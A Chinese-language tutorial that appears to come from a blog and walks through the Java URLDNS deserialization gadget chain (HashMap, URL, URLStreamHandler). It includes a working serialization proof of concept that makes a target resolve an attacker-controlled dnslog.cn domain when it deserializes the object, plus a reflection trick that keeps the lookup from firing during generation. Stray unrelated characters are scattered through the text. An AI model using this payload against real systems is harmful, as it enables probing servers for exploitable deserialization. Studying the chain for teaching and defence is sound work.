URLDNS鏈調(diào)試

反序列化發(fā)掘依據(jù):

1)調(diào)用鏈中使用的類可被序列化

2)調(diào)用鏈中使用的類屬性可被序列化

反序列化發(fā)掘方法:

1)入口類重寫readObject方法

2)入口類可傳入任意對象(這種類一般為集合類)

3)執(zhí)行類可被利用執(zhí)行危險或任意函數(shù)

這條鏈算是JDK鏈里最簡單的,作為入門可以看看添坊,下面進行正向分析浙宜。

(小白們建議使用低版本的JDK去調(diào)試這個鏈遏匆,比如JDK8运嗜,這樣調(diào)用反射時不會出現(xiàn)報錯)

一畜挨、java.util.HashMap(入口類)

(一)入口類

首先說明入口類的概念除盏,在這條鏈中款慨,入口類可以被理解為JDK中經(jīng)常被使用的類味混,并且其繼承了Serializable接口产雹、具備readObject方法、readObject方法中會調(diào)用一些類以及該類的某種方法(這種方法中可直接或間接調(diào)用危險函數(shù))翁锡。

(二)分析

1)

這里選中HashMap類蔓挖,并分析其readObject方法。

首先繼承了Serializable接口:

image

重寫了readObject方法:

【因為HashMap<K,V>:存儲數(shù)據(jù)采用的哈希表結(jié)構(gòu)馆衔,元素的存取順序不能保證一致瘟判。由于要保證鍵的唯一、不重復(fù)角溃,在反序列化過程中就需要對Key進行hash拷获,這樣一來就需要重寫readObject方法〖跸福】

image
image

2)

我們這里選擇分析readObject中調(diào)用的hash()方法匆瓜。進行跟進。

image

可以看到未蝌,這里使用傳入?yún)?shù)對象keyhashCode方法驮吱。由于很多類中都具有hashCode方法(用來進行哈希),所以接下來考慮有沒有可能存在某個特殊的類M萧吠,其hashCode方法中直接或間接可調(diào)用危險函數(shù)左冬。

帶著這種想法去找這么一個類M,最后纸型,找到URL類可作為我們所說的類M(找尋過程需要對JDK很多類進行了解和分析)拇砰。

3)

接下來先解決當(dāng)前問題:確定HashMap在readObject過程中能夠正常執(zhí)行到putVal()方法這里九昧,以及傳入hash方法中的參數(shù)對象key可控。

首先可以看到毕匀,參數(shù)對象Keys.readObject()獲取

image

其中s為輸入的序列化流(證明key可控)

image

其次铸鹰,要執(zhí)行這個for循環(huán)需要滿足這個else if條件

image

而mappings由s.readInt()確定,即mappings的長度皂岔,也就是我們將HahsMap序列化前其不為空即可蹋笼。

二、java.net.URL(調(diào)用鏈中的類)

(一)分析

4)

回到步驟(2)中的URL

跟進URL類的hashCode方法

image

可以看到當(dāng)hashCode屬性的值為-1時躁垛,跳過if條件剖毯,執(zhí)行handler對象的hashCode方法,并將自身URL類的實例作為參數(shù)傳入教馆。

5)

跟進handler對象的hashCode方法

image

確定handler屬性中保存的是URLStreamHandler類的實例逊谋。并且在調(diào)用其hashCode方法時,會執(zhí)行getHostAddress方法(getHostAddress方法中會獲取傳入的URL對象的IP土铺,也就是會進行DNS請求胶滋,詳情可以自己跟蹤下去這個方法的實現(xiàn),這里不多贅述)悲敷。

所以我們這里的目標(biāo)就是通過入口類HashMap以及該調(diào)用鏈究恤,實現(xiàn)JDK在反序列化我們構(gòu)造的對象時,向我們設(shè)定好的DNS發(fā)起請求后德。

6)

首先部宿,我們要確認(rèn)URL類中的屬性handler是否初始值不為null剪况、或者可否被序列化(判斷能否序列化可以看這個文章https://www.runoob.com/w3cnote/java-transient-keywords.html)棉胀。

因為如果初始值不為null,我們就特意去構(gòu)造創(chuàng)建這么一個URLStreamHandler類的實例召廷;如果為null绵患,但可被序列化雾叭,那我們可以構(gòu)造創(chuàng)建這么一個實例,來使其滿足調(diào)用鏈藏雏。

image

在此處跟進handler

image

可以看到不滿足我們上面期望的兩種情況拷况,handler屬性不可被序列化、并且值默認(rèn)為null掘殴。這樣一來赚瘦,我們不能保證完全使用這條鏈。需要進一步確定奏寨。

7)

搜索handler被使用的地方(URL類的對象初始化方法中)起意。

image

可以看到,handler屬性通過context.handler來賦值

跟進context

image

顯然病瞳,這里的context還是URL類的實例揽咕,說明這條構(gòu)造方法通過其他構(gòu)造方法來調(diào)用悲酷。

找到調(diào)用該構(gòu)造方法的另一個構(gòu)造方法:

image

可以看到,剛才的構(gòu)造方法在這里進行調(diào)用亲善,并且傳入的handler參數(shù)為null

再往上查找设易,又找到一個構(gòu)造方法,這里調(diào)用了剛才第二個構(gòu)造方法蛹头,并且其構(gòu)造只有一個傳參

image

通過上面的英文注釋顿肺,可以知道這里的唯一字符串傳參,最后可被解析為URL渣蜗。

8)

所以重新縷一下URL類對應(yīng)實例的構(gòu)造過程

通過new URL("http://xxx.xxx")創(chuàng)建實例屠尊,構(gòu)造順序如下:

image

通過單參數(shù)構(gòu)造方法,調(diào)用雙參數(shù)構(gòu)造方法耕拷,傳入的參數(shù)context為null

image

又通過雙參數(shù)構(gòu)造方法讼昆,調(diào)用了三參數(shù)構(gòu)造方法,傳入的參數(shù)context和handler都為null

進入到三參數(shù)構(gòu)造方法:

image
image

來到protocol屬性賦值這里骚烧,這里的newProtocol在上面字符串截取中已經(jīng)被賦值浸赫,根據(jù)上面的spec參數(shù),這里大概應(yīng)該是http止潘。

image

根據(jù)上面代碼的執(zhí)行情況掺炭,context還未被賦值,所以這條if語句中凭戴,context依然為空,不會執(zhí)行

接下來的if判斷炕矮,由于protocol被賦值么夫,第一個if語句不會被執(zhí)行

image

第二個if語句,此時handler還未被賦值肤视,為null档痪;

接下來的條件與中handler = getURLStreamHandler(protocol),調(diào)用了getURLStreamHandler方法給handler賦值邢滑。(有興趣看細節(jié)的可以自己跟進這個方法)

然后handler再賦值給了this.handler

至此腐螟,確定this.handler在初始化過程中會被賦值,所以我們不用擔(dān)心步驟(6)中為null的情況困后。

9)

我們回到步驟(6)中需要的條件

image

我們執(zhí)行handler.hashCode()需要滿足hashCode屬性的值為-1

跟進hashCode屬性

image

可以看到hashCode值默認(rèn)為-1乐纸,滿足條件。

三摇予、java.net.URLStreamHandler(執(zhí)行類)

這里補充一下執(zhí)行類這個概念汽绢,首先從步驟(5)可以知道,最終執(zhí)行的危險函數(shù)是URLStreamHandler實例的方法getHostAddress()侧戴。而URL類只是起到中間者的身份宁昭,在這整個鏈中跌宛,HashMap類作為入口類并在readObject時調(diào)用了URLhashCode方法,而URL類中的hashCode方法又調(diào)用了URLStreamHandler的危險方法积仗。

四疆拘、編寫和調(diào)試

(一)初步編寫

10)編寫序列化POC

//test1.java
import java.net.URL;
import java.io.*;
import java.util.HashMap;

public class test1 {
    public static void main(String[] args) throws IOException {
        URL url = new URL("http://abc.yqev2k.dnslog.cn");

        HashMap hashmap = new HashMap();
        hashmap.put(url,"ABC");

        FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashmap);
        objectOutputStream.close();
        fileOutputStream.close();
    }
}

11)編寫反序列化代碼,模擬服務(wù)端反序列化過程

//unser.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class unser {
    public static void main(String[] args) throws Exception {
        FileInputStream fileInputStream = new FileInputStream("./test1.ser");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);

        objectInputStream.readObject();

        objectInputStream.close();
        fileInputStream.close();
    }
}

12)問題

首先寂曹,在序列化生成POC的過程完畢后哎迄,我們查看DNSlog時,發(fā)現(xiàn)DNSlog居然收到了請求(這個請求是來自我們攻擊方生成序列化POC時發(fā)出的稀颁,而不是我們真正想要的芬失、服務(wù)端在反序列化過程發(fā)出的)

image

顯然,在序列化代碼中匾灶,有步驟調(diào)用了URL實例的hashCode方法

13)分析

我們可以下斷點調(diào)試棱烂,也可以自己跟進去分析。

因為這里代碼比較少阶女,我們可以直接猜測出來颊糜,在執(zhí)行這一步時,URL實例的hashCode方法被調(diào)用了秃踩。

image

跟進put方法

image

可以看到這里也會調(diào)用hash(key)衬鱼,所以導(dǎo)致了序列化過程對DNSlog進行請求。

14)初步解決

為了避免這一情況憔杨,可以利用步驟(4)中的hashCode屬性:

在執(zhí)行put方法前鸟赫,將URL實例的hashCode屬性的值修改為非-1

下面跟進hashCode屬性

image

可以看到其修飾符為private,所以我們無法直接進行修改消别,這需要用到反射的方式抛蚤。

(如果不理解“反射”的知識需要先去學(xué)習(xí))

(二)再次編寫

15)調(diào)試

import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;
import java.util.HashMap;

public class test1 {
    public static void main(String[] args) throws Exception {

        URL url = new URL("http://abc.6kengh.dnslog.cn");

        Class clazz = Class.forName("java.net.URL");
        Field hashcode = clazz.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,123);

        HashMap hashmap = new HashMap();
        hashmap.put(url,"ABC");

        FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashmap);
        objectOutputStream.close();
        fileOutputStream.close();
    }
}

此時,反序列化過程DNSlog已經(jīng)不會收到查詢

image

16)分析

但在服務(wù)端反序列化過程中寻狂,并沒有像預(yù)期一樣向DNSlog發(fā)送查詢岁经。

細心的人可以發(fā)現(xiàn)到,UR實例的hashCode屬性已經(jīng)修改為非-1蛇券,所以在反序列化時不會進入到URLStreamHandler實例的hashCode方法缀壤。

為了方便一些人理解,下面設(shè)下斷點來調(diào)試看看:

首先纠亚,DNSlog不收到請求塘慕,肯定是HashMapreadObject的過程出了問題,所以斷點設(shè)在其readObject方法上

image

一路Step Over跟進到putVal這里(其實斷點設(shè)在這更好)

image

Step into菜枷,然后選擇hash進行Step into

image

可以看到一切都沒問題苍糠,繼續(xù)Step into跟進

image

這時,我們看到hashCode屬性的值為123啤誊,并非-1岳瞭,所以這就是DNSlog收不到信息的原因拥娄。

17)解決

因此,在反射調(diào)用修改hashCode的值后瞳筏,需要在hashmap.put()賦值后面重新將hashCode修改回-1

import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;
import java.util.HashMap;

public class test1 {
    public static void main(String[] args) throws Exception {

        URL url = new URL("http://abc.6kengh.dnslog.cn");

        Class clazz = Class.forName("java.net.URL");
        Field hashcode = clazz.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,123);

        HashMap hashmap = new HashMap();
        hashmap.put(url,"ABC");
        hashcode.set(url,-1);

        FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashmap);
        objectOutputStream.close();
        fileOutputStream.close();
    }
}
image

這樣一來稚瘾,模仿的反序列化過程DNSlog可以收到請求

補充

一)

其實步驟(7)(8)(9)的分析過程可以直接用程序證明

image
image

二)整條鏈的調(diào)用

image

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市姚炕,隨后出現(xiàn)的幾起案子摊欠,更是在濱河造成了極大的恐慌,老刑警劉巖柱宦,帶你破解...
    沈念sama閱讀 219,539評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件些椒,死亡現(xiàn)場離奇詭異,居然都是意外死亡掸刊,警方通過查閱死者的電腦和手機免糕,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,594評論 3 396
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來忧侧,“玉大人石窑,你說我怎么就攤上這事◎揪妫” “怎么了松逊?”我有些...
    開封第一講書人閱讀 165,871評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長肯夏。 經(jīng)常有香客問我经宏,道長,這世上最難降的妖魔是什么驯击? 我笑而不...
    開封第一講書人閱讀 58,963評論 1 295
  • 正文 為了忘掉前任烛恤,我火速辦了婚禮,結(jié)果婚禮上余耽,老公的妹妹穿的比我還像新娘。我一直安慰自己苹熏,他們只是感情好碟贾,可當(dāng)我...
    茶點故事閱讀 67,984評論 6 393
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著轨域,像睡著了一般袱耽。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上干发,一...
    開封第一講書人閱讀 51,763評論 1 307
  • 那天朱巨,我揣著相機與錄音,去河邊找鬼枉长。 笑死冀续,一個胖子當(dāng)著我的面吹牛琼讽,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播洪唐,決...
    沈念sama閱讀 40,468評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼钻蹬,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了凭需?” 一聲冷哼從身側(cè)響起问欠,我...
    開封第一講書人閱讀 39,357評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎粒蜈,沒想到半個月后顺献,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,850評論 1 317
  • 正文 獨居荒郊野嶺守林人離奇死亡枯怖,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,002評論 3 338
  • 正文 我和宋清朗相戀三年注整,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片嫁怀。...
    茶點故事閱讀 40,144評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡设捐,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出塘淑,到底是詐尸還是另有隱情萝招,我是刑警寧澤,帶...
    沈念sama閱讀 35,823評論 5 346
  • 正文 年R本政府宣布存捺,位于F島的核電站槐沼,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏捌治。R本人自食惡果不足惜岗钩,卻給世界環(huán)境...
    茶點故事閱讀 41,483評論 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望肖油。 院中可真熱鬧兼吓,春花似錦、人聲如沸森枪。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,026評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽县袱。三九已至浑娜,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間式散,已是汗流浹背筋遭。 一陣腳步聲響...
    開封第一講書人閱讀 33,150評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人漓滔。 一個月前我還...
    沈念sama閱讀 48,415評論 3 373
  • 正文 我出身青樓编饺,卻偏偏與公主長得像,于是被迫代替她去往敵國和親次和。 傳聞我的和親對象是個殘疾皇子反肋,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,092評論 2 355

推薦閱讀更多精彩內(nèi)容

  • final修飾的變量會指向一塊固定的內(nèi)存, 這塊內(nèi)存中的值不能改變. 存儲過程 禁止使用存儲過程,存儲過程難以調(diào)試...
    lconcise閱讀 930評論 0 1
  • 從三月份找實習(xí)到現(xiàn)在踏施,面了一些公司石蔗,掛了不少,但最終還是拿到小米畅形、百度养距、阿里、京東日熬、新浪棍厌、CVTE、樂視家的研發(fā)崗...
    時芥藍閱讀 42,255評論 11 349
  • 前言 本開發(fā)規(guī)范基于《阿里巴巴Java開發(fā)手冊終極版》修改竖席,并集成我們自己的項目開發(fā)規(guī)范耘纱,整合而成。 為表示對阿里...
    4ea0af17fd67閱讀 5,644評論 0 5
  • 1毕荐、Handler: 1):系統(tǒng)Handler的創(chuàng)建過程及相關(guān)對象的創(chuàng)建:在ActivityThread的main...
    Steven_SHH閱讀 806評論 0 5
  • 阿里巴巴 JAVA 開發(fā)手冊 1 / 32 Java 開發(fā)手冊 版本號 制定團隊 更新日期 備 注 1.0.0 阿...
    糖寶_閱讀 7,573評論 0 5